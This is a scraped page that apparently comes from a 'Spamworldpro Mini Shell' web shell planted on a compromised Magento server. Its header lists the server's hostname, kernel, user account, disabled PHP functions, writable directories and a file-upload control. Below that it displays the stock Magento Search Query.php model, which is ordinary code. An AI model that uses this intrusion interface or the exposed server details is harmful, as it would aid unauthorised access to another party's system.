Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-search/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-search/Model/Query.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\Search\Model;

use Magento\Search\Model\ResourceModel\Query\Collection as QueryCollection;
use Magento\Search\Model\ResourceModel\Query\CollectionFactory as QueryCollectionFactory;
use Magento\Search\Model\SearchCollectionInterface as Collection;
use Magento\Search\Model\SearchCollectionFactory as CollectionFactory;
use Magento\Framework\App\Config\ScopeConfigInterface;
use Magento\Framework\Data\Collection\AbstractDb as DbCollection;
use Magento\Framework\Model\AbstractModel;
use Magento\Framework\Model\ResourceModel\AbstractResource;
use Magento\Framework\Registry;
use Magento\Store\Model\StoreManagerInterface;

/**
 * Search query model
 *
 * @method \Magento\Search\Model\Query setQueryText(string $value)
 * @method int getNumResults()
 * @method \Magento\Search\Model\Query setNumResults(int $value)
 * @method int getPopularity()
 * @method \Magento\Search\Model\Query setPopularity(int $value)
 * @method string getRedirect()
 * @method \Magento\Search\Model\Query setRedirect(string $value)
 * @method int getDisplayInTerms()
 * @method \Magento\Search\Model\Query setDisplayInTerms(int $value)
 * @method \Magento\Search\Model\Query setQueryNameExceeded(bool $value)
 * @method int getIsActive()
 * @method \Magento\Search\Model\Query setIsActive(int $value)
 * @method int getIsProcessed()
 * @method \Magento\Search\Model\Query setIsProcessed(int $value)
 * @method string getUpdatedAt()
 * @method \Magento\Search\Model\Query setUpdatedAt(string $value)
 * @method \Magento\Search\Model\Query setIsQueryTextExceeded(bool $value)
 * @method \Magento\Search\Model\Query setIsQueryTextShort(bool $value)
 * @SuppressWarnings(PHPMD.CouplingBetweenObjects)
 * @api
 * @since 100.0.2
 */
class Query extends AbstractModel implements QueryInterface
{
    /**
     * Event prefix
     *
     * @var string
     */
    protected $_eventPrefix = 'search_query';

    /**
     * Event object key name
     *
     * @var string
     */
    protected $_eventObject = 'search_query';

    const CACHE_TAG = 'SEARCH_QUERY';

    const XML_PATH_MIN_QUERY_LENGTH = 'catalog/search/min_query_length';

    const XML_PATH_MAX_QUERY_LENGTH = 'catalog/search/max_query_length';

    /**
     * Core store config
     *
     * @var ScopeConfigInterface
     */
    protected $_scopeConfig;

    /**
     * Store manager
     *
     * @var StoreManagerInterface
     */
    protected $_storeManager;

    /**
     * Search collection factory
     *
     * @var CollectionFactory
     */
    protected $_searchCollectionFactory;

    /**
     * Query collection factory
     *
     * @var QueryCollectionFactory
     */
    protected $_queryCollectionFactory;

    /**
     * Construct
     *
     * @param \Magento\Framework\Model\Context $context
     * @param Registry $registry
     * @param QueryCollectionFactory $queryCollectionFactory
     * @param CollectionFactory $searchCollectionFactory
     * @param StoreManagerInterface $storeManager
     * @param ScopeConfigInterface $scopeConfig
     * @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
     * @param DbCollection $resourceCollection
     * @param array $data
     */
    public function __construct(
        \Magento\Framework\Model\Context $context,
        Registry $registry,
        QueryCollectionFactory $queryCollectionFactory,
        CollectionFactory $searchCollectionFactory,
        StoreManagerInterface $storeManager,
        ScopeConfigInterface $scopeConfig,
        AbstractResource $resource = null,
        DbCollection $resourceCollection = null,
        array $data = []
    ) {
        $this->_queryCollectionFactory = $queryCollectionFactory;
        $this->_searchCollectionFactory = $searchCollectionFactory;
        $this->_storeManager = $storeManager;
        $this->_scopeConfig = $scopeConfig;
        parent::__construct($context, $registry, $resource, $resourceCollection, $data);
    }

    /**
     * Init resource model
     *
     * @return void
     */
    protected function _construct()
    {
        $this->_init(\Magento\Search\Model\ResourceModel\Query::class);
    }

    /**
     * Retrieve search collection
     *
     * @return Collection
     */
    public function getSearchCollection()
    {
        return $this->_searchCollectionFactory->create();
    }

    /**
     * Retrieve collection of suggest queries
     *
     * @return QueryCollection
     * @throws \Magento\Framework\Exception\NoSuchEntityException
     */
    public function getSuggestCollection()
    {
        $collection = $this->getData('suggest_collection');
        if ($collection === null) {
            $collection = $this->_queryCollectionFactory->create()->setStoreId(
                $this->getStoreId()
            )->setQueryFilter(
                $this->getQueryText()
            );
            $this->setData('suggest_collection', $collection);
        }
        return $collection;
    }

    /**
     * Load Query object by query string
     *
     * @param string $text
     * @return $this
     * @throws \Magento\Framework\Exception\LocalizedException
     * @deprecated 100.1.0 "synonym for" feature has been removed
     */
    public function loadByQuery($text)
    {
        $this->loadByQueryText($text);
        return $this;
    }

    /**
     * Load Query object only by query text
     *
     * @param string $text
     * @return $this
     * @throws \Magento\Framework\Exception\LocalizedException
     */
    public function loadByQueryText($text)
    {
        $this->_getResource()->loadByQueryText($this, $text);
        $this->_afterLoad();
        $this->setOrigData();
        return $this;
    }

    /**
     * Set Store Id
     *
     * @param int $storeId
     * @return void
     */
    public function setStoreId($storeId)
    {
        $this->setData('store_id', $storeId);
    }

    /**
     * Retrieve store Id
     *
     * @return int
     * @throws \Magento\Framework\Exception\NoSuchEntityException
     */
    public function getStoreId()
    {
        if (!($storeId = $this->getData('store_id'))) {
            $storeId = $this->_storeManager->getStore()->getId();
        }
        return $storeId;
    }

    /**
     * Prepare save query for result
     *
     * @return $this
     * @throws \Exception
     */
    public function prepare()
    {
        if (!$this->getId()) {
            $this->setIsActive(0);
            $this->setIsProcessed(0);
            $this->save();
            $this->setIsActive(1);
        }

        return $this;
    }

    /**
     * Save query with incremental popularity
     *
     * @return $this
     *
     * @throws \Magento\Framework\Exception\LocalizedException
     */
    public function saveIncrementalPopularity()
    {
        $this->getResource()->saveIncrementalPopularity($this);

        return $this;
    }

    /**
     * Save query with number of results
     *
     * @param int $numResults
     * @return $this
     *
     * @throws \Magento\Framework\Exception\LocalizedException
     */
    public function saveNumResults($numResults)
    {
        $this->setNumResults($numResults);
        $this->getResource()->saveNumResults($this);

        return $this;
    }

    /**
     * Retrieve minimum query length
     *
     * @return int
     * @throws \Magento\Framework\Exception\NoSuchEntityException
     */
    public function getMinQueryLength()
    {
        return $this->_scopeConfig->getValue(
            self::XML_PATH_MIN_QUERY_LENGTH,
            \Magento\Store\Model\ScopeInterface::SCOPE_STORE,
            $this->getStoreId()
        );
    }

    /**
     * Retrieve maximum query length
     *
     * @return int
     * @throws \Magento\Framework\Exception\NoSuchEntityException
     */
    public function getMaxQueryLength()
    {
        return $this->_scopeConfig->getValue(
            self::XML_PATH_MAX_QUERY_LENGTH,
            \Magento\Store\Model\ScopeInterface::SCOPE_STORE,
            $this->getStoreId()
        );
    }

    /**
     * @inheritdoc
     */
    public function getQueryText()
    {
        return $this->getDataByKey('query_text');
    }

    /**
     * Check if query maximum length exceeded.
     *
     * @return bool
     * @codeCoverageIgnore
     */
    public function isQueryTextExceeded()
    {
        return $this->getData('is_query_text_exceeded');
    }

    /**
     * Check if minimum query length reached.
     *
     * @return bool
     * @codeCoverageIgnore
     * @since 100.1.0
     */
    public function isQueryTextShort()
    {
        return $this->getData('is_query_text_short');
    }
}

Spamworldpro Mini